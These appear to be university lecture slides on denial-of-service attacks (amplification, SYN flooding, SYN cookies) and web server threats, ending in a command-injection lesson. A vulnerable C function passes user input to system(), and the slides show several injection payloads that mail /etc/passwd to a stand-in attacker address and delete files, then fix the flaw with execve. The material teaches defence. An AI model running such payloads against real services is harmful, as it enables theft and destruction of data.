Goals For Today

• Continue our discussion of Denial-of-Service (DoS), including TCP & application-layer attacks

• Begin discussing Web security
  – Web server threats (today/next Tue)
  – Web client threats (next Tue/Thu)
It’s Not A “Level Playing Field”

• When defending resources from exhaustion, need to beware of asymmetries, where attackers can consume victim resources with little comparable effort
  – Makes DoS easier to launch
  – Defense costs much more than attack

• Particularly dangerous form of asymmetry: amplification
  – Attacker leverages system’s own structure to pump up the load they induce on a resource
Amplification: Network DoS

- One technique for magnifying flood traffic: leverage Internet’s broadcast functionality
Amplification: Network DoS

- One technique for magnifying flood traffic: leverage Internet’s broadcast functionality.
- How does an attacker exploit this?
  - Send traffic to the broadcast address and *spoof* it as though the DoS victim sent it.
  - All of the replies then *go to the victim* rather than the attacker’s machine.
  - Each attacker pkt yields *dozens* of flooding pkts.
- Note, this particular threat has been *fixed*:
  - By *changing the Internet standard* to state routers shouldn’t forward pkts addressed to broadcast addrs.
  - Thus, attacker’s spoofs won’t make it to target subnet.
Amplification, con’t

• Another example: DNS lookups
  – *Reply is generally much bigger than request*
    • Since it includes a copy of the reply, plus answers etc.
  ⇒ Attacker spoofs request seemingly from the target
    • Small attacker packet yields large flooding packet
    • Doesn’t increase # of packets (like *smurf*), but *total volume*

• Note #1: these examples involve *blind spoofing*
  – So for network-layer flooding, generally only works for UDP-based protocols (can’t establish TCP conn.)

• Note #2: victim doesn’t see spoofed source addresses
  – Addresses are those of actual intermediary systems
Transport-Level Denial-of-Service

• Recall TCP’s 3-way connection establishment handshake
  – Goal: agree on initial sequence numbers
• So a **single** SYN from an attacker suffices to force the server to *spend some memory*

Client (initiator)                  Server

SYN, SeqNum = x

SYN + ACK, SeqNum = y, Ack = x + 1

ACK, Ack = y + 1

Server creates *state* associated with connection here (buffers, timers, counters)

Attacker doesn’t even need to send this ack
TCP SYN Flooding

• Attacker targets *memory* rather than network capacity
• Every (unique) SYN that the attacker sends burdens the target
• What should target do when it has no more memory for a new connection?
• No good answer!
  – *Refuse* new connection?
    • Legit new users can’t access service
  – *Evict* old connections to make room?
    • Legit old users get kicked off
TCP SYN Flooding, con’t

• How can the target defend itself?

• Approach #1: make sure they have tons of memory!
  – How much is enough?
  – Depends on resources attacker can bring to bear (threat model)
    • Which might be hard to know
TCP SYN Flooding, con’t

• Approach #2: identify bad actors & refuse their connections
  – Hard because only way to identify them is based on IP address
    • We can’t for example require them to send a password because doing so requires we have an established connection!
  – For a public Internet service, who knows which addresses customers might come from?
  – Plus: attacker can spoof addresses since they don’t need to complete TCP 3-way handshake

• Approach #3: don’t keep state! (“SYN cookies”; only works for spoofed SYN flooding)
**SYN Flooding Defense: *Idealized***

- Server: when SYN arrives, rather than keeping state locally, *send critical state to the client* …

- Client needs to *return the critical state* in order to establish a connection.

---

**Diagram**

- **Client (initiator)**
  - SYN, SeqNum = x
  - S+A, SeqNum = y, Ack = x + 1, <State>
  - ACK, Ack = y + 1, <State>

- **Server**
  - Do not save state here; give to client
  - Server only saves state here
**SYN Flooding Defense: Idealized**

- **Server**: when SYN arrives, rather than keeping state locally, *send critical state to the client* …

- **Client** needs to return the state in order to establish connection.

**Problem**: the world isn’t so ideal!

TCP doesn’t include an easy way to add a new `<State>` field like this.

Is there any way to get the same functionality without having to change TCP clients?

\[ \text{ACK, } \text{Ack} = y + 1, \text{ } <\text{State}> \]
Practical Defense: \textit{SYN Cookies}

- Server: when SYN arrives, encode critical state entirely within SYN-ACK's sequence number \( y \)!
  \[ y = \text{encoding} \] of necessary state, using server secret

- When ACK of SYN-ACK arrives, server only creates state \textit{if} value of \( y \) from it agrees with secret

\begin{itemize}
  \item SYN, SeqNum = \( x \)
  \item SYN and ACK, SeqNum = \( y \), Ack = \( x + 1 \)
  \item ACK, Ack = \( y + 1 \)
\end{itemize}
SYN Cookies: Discussion

- Illustrates general strategy: rather than holding state, encode it so that it is returned when needed.
- For SYN cookies, attacker must complete 3-way handshake in order to burden server
  - Can’t use spoofed source addresses.
- Note #1: strategy requires that you have enough bits to encode all the critical state
  - (This is just barely the case for SYN cookies)
- Note #2: if it’s expensive to generate or check the cookie, then it’s not a win.
TCP SYN Flooding, con’t

• Approach #4: spread service across lots of different physical servers
  – This is a **general defense** against a wide range of DoS threats (including application-layer)
  – If servers are at different places around the network, protects against *network-layer* DoS too

• But: **costs $$**
• And: some services are not easy to divide up
  – Such as when need to modify common database
Application-Layer DoS

- Rather than exhausting network or memory resources, attacker can overwhelm a service’s processing capacity

- There are many ways to do so, often at little expense to attacker compared to target (asymmetry)
The link sends a request to the web server that requires heavy processing by its “backend database”.

(Such queries are usually written in a language called SQL, as we’ll see next lecture.)
Application-Layer DoS, con’t

• Rather than exhausting network or memory resources, attacker can overwhelm a service’s processing capacity
• There are many ways to do so, often at little expense to attacker compared to target (asymmetry)
• Defenses against such attacks?
  • Approach #1: Only let legit users to issue expensive requests
    – Relies on being able to identify/authenticate them
    – Note: that this itself might be expensive!
  • Approach #2: Look for clusters of similar activity
    – Arms race w/ attacker AND costs collateral damage
  • Approach #3: distribute service across multiple physical servers ($$$$)
5 Minute Break

Questions Before We Proceed?
Web Server Threats

- What can happen?
  - Compromise of underlying system
  - Gateway to enabling attacks on clients
  - Disclosure of sensitive or private information
  - Impersonation (of users to servers, or vice versa)
  - Defacement
  - (not mutually exclusive)
Web Server Threats

• What can happen?
  – Compromise of underlying system
  – Gateway to enabling attacks on clients
  – Disclosure of sensitive or private information
  – Impersonation (of users to servers, or vice versa)
  – Defacement
  – (not mutually exclusive)
☆ IRANIAN CYBER ARMY ☆

THIS SITE HAS BEEN HACKED BY IRANIAN CYBER ARMY

iranian.cyber.army@gmail.com
Web Server Threats

• What can happen?
  – Compromise of underlying system
  – Gateway to enabling attacks on clients
  – Disclosure of sensitive or private information
  – Impersonation (of users to servers, or vice versa)
  – Defacement
  – (not mutually exclusive)

• What makes the problem particularly tricky?
  – Public access
Total notifications: **143,830** of which **64,954** single ip and **78,876** mass defacements

**Legend:**
- H - Homepage defacement
- M - Mass defacement (click to view all defacements of this IP)
- R - Redefacement (click to view all defacements of this site)
- L - IP address location
- ★ - Special defacement (special defacements are important websites)

<table>
<thead>
<tr>
<th>Date</th>
<th>Notifier</th>
<th>H</th>
<th>M</th>
<th>R</th>
<th>L</th>
<th>Domain</th>
<th>OS</th>
<th>View</th>
</tr>
</thead>
<tbody>
<tr>
<td>2013/02/21</td>
<td>CLONING</td>
<td>M</td>
<td></td>
<td></td>
<td>★</td>
<td><a href="http://www.sisaketspecial.go.th/56/un">www.sisaketspecial.go.th/56/un</a>...</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>CLONING</td>
<td>M</td>
<td></td>
<td></td>
<td>★</td>
<td><a href="http://www.lalo.go.th/Joomla_1.5.22-S">www.lalo.go.th/Joomla_1.5.22-S</a>...</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>CLONING</td>
<td>M</td>
<td></td>
<td></td>
<td>★</td>
<td><a href="http://www.bareknuea.go.th/attach/unl">www.bareknuea.go.th/attach/unl</a>...</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>Dr.SHA6H</td>
<td>M</td>
<td>R</td>
<td></td>
<td>★</td>
<td>gallery.unicef.by/workspace/</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>Dr.SHA6H</td>
<td>M</td>
<td>R</td>
<td></td>
<td>★</td>
<td>kazki.unicef.by/workspace/</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>Dr.SHA6H</td>
<td>R</td>
<td></td>
<td></td>
<td>★</td>
<td><a href="http://www.unicef.by/worspace/thumb/l">www.unicef.by/worspace/thumb/l</a>...</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>NoEntry Phc</td>
<td>M</td>
<td></td>
<td></td>
<td></td>
<td>hmc.ntuh.gov.tw/pwn.html</td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>1923Turk</td>
<td>R</td>
<td></td>
<td></td>
<td>★</td>
<td>xj.dzgtj.gov.cn/AL_Pars.htm</td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>1923Turk</td>
<td>R</td>
<td></td>
<td></td>
<td>★</td>
<td>gsl.czmq.gov.cn/AL_Pars.htm</td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>RainsevenDotMy</td>
<td>M</td>
<td>R</td>
<td></td>
<td>★</td>
<td><a href="http://www.thapo.go.th/images/news/">www.thapo.go.th/images/news/</a></td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>RainsevenDotMy</td>
<td>M</td>
<td>R</td>
<td></td>
<td>★</td>
<td><a href="http://www.krc.go.th/images/personnel/">www.krc.go.th/images/personnel/</a></td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>RainsevenDotMy</td>
<td>M</td>
<td>R</td>
<td></td>
<td>★</td>
<td><a href="http://www.thungyal.go.th/images/acti">www.thungyal.go.th/images/acti</a>...</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>Vlr₭ NoIr</td>
<td>M</td>
<td>R</td>
<td></td>
<td>★</td>
<td>opp.go.th/sitemap.php</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>Vlr₭ NoIr</td>
<td>H</td>
<td>R</td>
<td></td>
<td>★</td>
<td>oppn.opp.go.th</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>RainsevenDotMy</td>
<td>R</td>
<td></td>
<td></td>
<td>★</td>
<td><a href="http://www.bortru.go.th/images/travel">www.bortru.go.th/images/travel</a>...</td>
<td>Linux</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>Barbaros-DZ</td>
<td>H</td>
<td>R</td>
<td></td>
<td></td>
<td><a href="http://www.gbd.gov.cn">www.gbd.gov.cn</a></td>
<td>Win 2003</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>HighTech</td>
<td>H</td>
<td>M</td>
<td></td>
<td></td>
<td><a href="http://www.geologia.ufrr.br">www.geologia.ufrr.br</a></td>
<td>Unknown</td>
<td>mirror</td>
</tr>
<tr>
<td>2013/02/21</td>
<td>xdieka-civilx</td>
<td>H</td>
<td>R</td>
<td></td>
<td></td>
<td><a href="http://www.serantajpm.gov.my">www.serantajpm.gov.my</a></td>
<td>F5 Big-IP</td>
<td>mirror</td>
</tr>
</tbody>
</table>
Web Server Threats

• What can happen?
  – Compromise of underlying system
  – Gateway to enabling attacks on clients
  – Disclosure of sensitive or private information
  – Impersonation (of users to servers, or vice versa)
  – Defacement
  – (not mutually exclusive)

• What makes the problem particularly tricky?
  – Public access
  – Mission creep
5.2. Accessing the LaCie Ethernet Disk mini via Web Browsers

While the LaCie Ethernet Disk mini is connected to the network, it is capable of being accessed via the Internet through your Internet browser.

Windows, Mac and Linux Users – Open your browser to http://EDmini or http://device_IP_address (the “device_IP_address” refers to the IP address that is assigned to your LaCie Ethernet Disk mini; for example, http://192.168.0.207).
(1) There's a web interface for the frame- you use a web browser on your network that connects to the picture frame. The web interface is horrendously slow and repeatedly "times out" while trying to access the frame.
Using the Web Interface

Your Cisco IP Phone provides a web interface to the phone that allows you to configure some features of your phone using a web browser. This chapter contains the following sections:

- Logging in to the Web Interface, page 75
- Setting Do Not Disturb, page 75
- Configuring Call Forwarding, page 78
- Configuring Call Waiting, page 76
- Blocking Caller ID, page 77
- Blocking Anonymous Calls, page 77
- Using Your Personal Directory, page 77
- Viewing Call History Lists, page 78
- Creating Speed Dials, page 79
- Accepting Text Messages, page 79
- Adjusting Audio Volume, page 80
- Changing the LCD Contrast, page 80
- Changing the Phone Menu Color Scheme, page 81
- Configuring the Phone Screen Saver, page 81
**System Information**

<table>
<thead>
<tr>
<th>Router</th>
<th>Services</th>
</tr>
</thead>
<tbody>
<tr>
<td>Router Name</td>
<td>DHCP Server</td>
</tr>
<tr>
<td>Router Model</td>
<td>Enabled</td>
</tr>
<tr>
<td>LAN MAC</td>
<td>WRT-radauth</td>
</tr>
<tr>
<td>00:40:10:10:00:01</td>
<td>Disabled</td>
</tr>
<tr>
<td>WAN MAC</td>
<td>Sputnik Agent</td>
</tr>
<tr>
<td>00:26:4A:14:0E:22</td>
<td>Disabled</td>
</tr>
<tr>
<td>Wireless MAC</td>
<td>Memory</td>
</tr>
<tr>
<td>00:40:12:10:00:AF</td>
<td>Total Available</td>
</tr>
<tr>
<td>WAN IP</td>
<td>5.6 MB / 8.0 MB</td>
</tr>
<tr>
<td>67.164.94.51</td>
<td>Free</td>
</tr>
<tr>
<td>LAN IP</td>
<td>0.4 MB / 5.6 MB</td>
</tr>
<tr>
<td>192.168.3.1</td>
<td>Used</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Wireless</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Radio</td>
<td>Radio is On</td>
</tr>
<tr>
<td>Mode</td>
<td>AP</td>
</tr>
<tr>
<td>Network</td>
<td>Mixed</td>
</tr>
<tr>
<td>SSID</td>
<td>wap2</td>
</tr>
<tr>
<td>Channel</td>
<td>2</td>
</tr>
<tr>
<td>TX Power</td>
<td>71 mW</td>
</tr>
<tr>
<td>Rate</td>
<td>54 Mbps</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Space Usage</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Setup/Configuration</td>
<td>Built-in web user interface for easy browser-based configuration (HTTP)</td>
</tr>
<tr>
<td>----------------------------</td>
<td>-------------------------------------------------------------------</td>
</tr>
<tr>
<td>Management</td>
<td></td>
</tr>
<tr>
<td>Web browser</td>
<td>• Internet Explorer 5.x or later</td>
</tr>
<tr>
<td></td>
<td>• Limited support for Netscape and Firefox. Browser controls for pan/tilt/zoom (PTZ), audio, and motion detection are limited or not supported with Netscape and Firefox.</td>
</tr>
<tr>
<td>Event logging</td>
<td>Event logging (syslog)</td>
</tr>
<tr>
<td>Web firmware upgrade</td>
<td>Firmware upgradable through web browser</td>
</tr>
</tbody>
</table>
Cisco Security Agent Web Management Interface Bug Lets Remote Users Execute Arbitrary Code

SecurityTracker Alert ID: 1025088
SecurityTracker URL: http://securitytracker.com/id/1025088
CVE Reference: CVE-2011-0364 (Links to External Site)
Date: Feb 16 2011
Impact: Execution of arbitrary code via network, User access via network
Fix Available: Yes Vendor Confirmed: Yes
Version(s): 5.1, 5.2, and 6.0
Description: A vulnerability was reported in Cisco Security Agent. A remote user can execute arbitrary code on the target system.

A remote user can send specially crafted data to the web management interface on TCP port 443 to execute arbitrary code on the target system. This can be exploited to modify agent policies and the system configuration and perform other administrative tasks.

Cisco has assigned Cisco Bug ID CSCtj51216 to this vulnerability.

Gerry Eisenhaur reported this vulnerability via ZDI.

Impact: A remote user can execute arbitrary code on the target system.
Solution: The vendor has issued a fix (6.0.2.145).

The vendor's advisory is available at:
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)
• URL components:
  http://coolsite.com/tools/info.html
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)

• URL components:

  http://coolsite.com/tools/info.html

  E.g., “http” or “ftp” or “https”

  (These all use TCP.)
Interacting With Web Servers

- An interaction with a web server is expressed in terms of a URL (plus an optional data item)
- URL components:
  http://coolsite.com/tools/info.html
  Hostname of server

Translated to an IP address via DNS
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)
• URL components:
  http://coolsite.com/tools/info.html

Here, the resource ("info.html") is static content = a fixed file returned by the server.

(Often static content is an HTML file = content plus markup for how browser should "render" it.)
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)

• URL components:
  
  `http://coolsite.com/tools/doit.php`

  Path to a resource

Resources can instead be **dynamic**
  = server generates the page on-the-fly.

Some common frameworks for doing this:
**CGI** = run a program or script, return its *stdout*
**PHP** = execute script in HTML templating language
Interacting With Web Servers

- An interaction with a web server is expressed in terms of a URL (plus an optional data item)
- URL components:

URLs for dynamic content generally include arguments to pass to the generation process
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)
• URL components:

First argument to doit.php
Interacting With Web Servers

• An interaction with a web server is expressed in terms of a URL (plus an optional data item)
• URL components:

Second argument to doit.php
Simple Service Example

• Allow users to search the local phonebook for any entries that match a regular expression
• Invoked via URL like:
  http://harmless.com/phonebook.cgi?regex=<pattern>
• So for example:
  http://harmless.com/phonebook.cgi?regex=alice.*smith
  searches phonebook for any entries with “alice” and then later “smith” in them

• (Note: web surfer doesn’t enter this URL themselves; an HTML form, or possibly Javascript running in their browser, constructs it from what they type)
Simple Service Example, con’t

• Assume our server has some “glue” that parses URLs to extract parameters into C variables
  – and returns stdout to the user
• Simple version of code to implement search:

```c
/* print any employees whose name matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
             "grep %s phonebook.txt", regex);
    system(cmd);
}
```

Problems?
/* print any employees whose name * matches the given regex */
void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
        "grep %s phonebook.txt", regex);
    system(cmd);
}

Instead of
    http://harmless.com/phonebook.cgi?regex=alice.*smith
How about
    http://harmless.com/phonebook.cgi?regex=foo;%20mail
    %20-s%20hacker@evil.com%20</etc/passwd;%20rm

%20 is an escape sequence that expands to a space (' ')
Instead of

http://harmless.com/phonebook.cgi?regex=alice.*smith

How about

http://harmless.com/phonebook.cgi?regex=foo;%20mail %20-s%20hacker@evil.com%20</etc/passwd;%20rm

⇒ "grep foo; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"
/ * print any employees whose name
  * matches the given regex *

void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
             "grep %s phonebook.txt", regex);
    system(cmd);
}

/* print any employees whose name
  * matches the given regex *

void find_employee(char *regex)
{
    char cmd[512];
    snprintf(cmd, sizeof cmd,
             "grep %s phonebook.txt", regex);
    system(cmd);
}

Instead of
http://harmless.com/phonebook.cgi?regex=alice|bob

How about
http://harmless.com/phonebook.cgi?regex=foo;%20mail
%20-s%20hacker@evil.com%20</etc/passwd;%20rm

⇒ "grep foo; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt"
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd,
        "grep %s phonebook.txt", regex);
```

- One general approach: *input sanitization*
  - Look for anything nasty in the input …
  - … and “defang” it / remove it / escape it

- Seems simple enough, but:
  - *Tricky* to get right (as we’re about to see!)
  - *Brittle*: if you get it wrong & miss something, you **LOSE**
    - Attack slips past!
  - Approach in general is a form of “*default allow*”
    - i.e., input is by default okay, only **known problems** are removed
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd,
    "grep '\%s' phonebook.txt", regex);
```

Simple idea: *quote* the data to enforce that it’s indeed interpreted as data …

⇒ "grep 'foo; mail -s hacker@evil.com <\etc/passwd; rm' phonebook.txt"

Argument is back to being **data**; a single (large/messy) pattern to grep

Problems?
How To Fix Command Injection?

snprintf(cmd, sizeof cmd,
    "grep '%s' phonebook.txt", regex);

...regex=foo'; mail -s hacker@evil.com </etc/passwd; rm'

⇒ "grep 'foo'; mail -s hacker@evil.com </etc/passwd; rm' ' phonebook.txt"

Whoops, control information again, not data

Fix?
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd,
    "grep '\%s' phonebook.txt", regex);
...
regex=foo'; mail -s hacker@evil.com </etc/passwd; rm'

Okay, first scan regex and strip ' - does that work?

No, now can’t do legitimate search on “0'Malley”.
```
How To Fix Command Injection?

snprintf(cmd, sizeof cmd,
   "grep '%%s' phonebook.txt", regex);

...regex=foo'; mail -s hacker@evil.com</etc/passwd; rm'

Okay, then scan regex and escape ' .... ?
legit regex ⇒ O\'Malley
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd,
    "grep '%s' phonebook.txt", regex);

...regex=foo\'; mail -s hacker@evil.com </etc/passwd; rm \'

Rule alters:
    ...regex=foo\'; mail ... ⇒ ...regex=foo\'; mail ...

Now grep is invoked:
⇒ "grep 'foo\'; mail -s hacker@evil.com </etc/passwd; rm \' ' phonebook.txt"
```

Argument to grep is “foo\”
How To Fix Command Injection?

snprintf(cmd, sizeof cmd,
    "grep '%%s' phonebook.txt", regex);

...regex=foo\'; mail -s hacker@evil.com </etc/passwd; rm \'

Rule alters:

...regex=foo\'; mail ... ⇒ ...regex=foo\'; mail ...

Now grep is invoked:

⇒ "grep 'foo\'; mail -s hacker@evil.com </etc/passwd; rm \' ' phonebook.txt"

*Sigh, again control information, not data*
How To Fix Command Injection?

```c
snprintf(cmd, sizeof cmd, "grep '%s' phonebook.txt", regex);

…regex=foo\'; mail -s hacker@evil.com </etc/passwd; rm \'

Okay, then scan regex and escape ' and \ .... ?
…regex=foo\'; mail … ⇒ …regex=foo\\\\'; mail …

⇒ "grep 'foo\\\\'; mail -s hacker@evil.com </etc/passwd; rm " phonebook.txt"

Are we done?

Yes! - assuming we take care of all of the ways escapes can occur …
Issues With *Input Sanitization*

- In principle, can prevent injection attacks by properly **sanitizing** input
  - Remove inputs with *meta-characters*
    - (can have “collateral damage” for benign inputs)
  - Or **escape** any meta-characters (including escape characters!)
    - Requires a **complete** model of how input subsequently processed
      - E.g. …regex=foo%27; mail …

- **But:** easy to get wrong!
- **Better:** avoid using a **feature-rich API** (if possible)
  - KISS + defensive programming
This is the core problem.

system() provides too much functionality!
- treats arguments passed to it as full shell command

If instead we could just run grep directly, no opportunity for attacker to sneak in other shell commands!
/ * print any employees whose name  
  * matches the given regex */
void find_employee(char *regex)
{
    char *path = "/usr/bin/grep";
    char *argv[10]; /* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;
    argv[argc++] = path; /* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = 0;
    envp[0] = 0;
    if ( execve(path, argv, envp) < 0 )
        command_failed(. . . . . .);
}
/ * print any employees whose name 
  * matches the given regex */
void find_employee(char *regex)
{
    char *path = "/usr/bin/grep";
    char *argv[10]; /* room for plenty of args */
    char *envp[1]; /* no room since no env. */
    int argc = 0;
    argv[argc++] = path; /* argv[0] = prog name */
    argv[argc++] = "-e"; /* force regex as pat. */
    argv[argc++] = regex;
    argv[argc++] = "phonebook.txt";
    argv[argc++] = 0;
    envp[0] = 0;
    if ( execve(path, argv, envp) < 0 )
        command_failed(......);
}
/* print any employees whose name
 * matches the given regex */
void find_employee(char *regex)
{
  char *path = "/usr/bin/grep";
  char *argv[10]; /* room for plenty of args */
  char *envp[1]; /* no room since no env. */
  int argc = 0;
  argv[argc++] = path; /* argv[0] = prog name */
  argv[argc++] = "-e"; /* force regex as pat. */
  argv[argc++] = regex;
  argv[argc++] = "phonebook.txt";
  argv[argc++] = 0;
  envp[0] = 0;
  if ( execve(path, argv, envp) < 0 )
      command_failed(....);
}
/ * print any employees whose name
  * matches the given regex */
void find_employee(char *regex)
{
  char *path = "/usr/bin/grep";
  char *argv[10]; /* room for plenty of args */
  char *envp[1]; /* no room since no env. */
  int argc = 0;
  argv[argc++] = path; /* argv[0] = prog name */
  argv[argc++] = "-e"; /* force regex as pat. */
  argv[argc++] = regex;
  argv[argc++] = "phonebook.txt";
  argv[argc++] = 0;
  envp[0] = 0;
  if (execve(path, argv, envp) < 0)
    command_failed(....);
}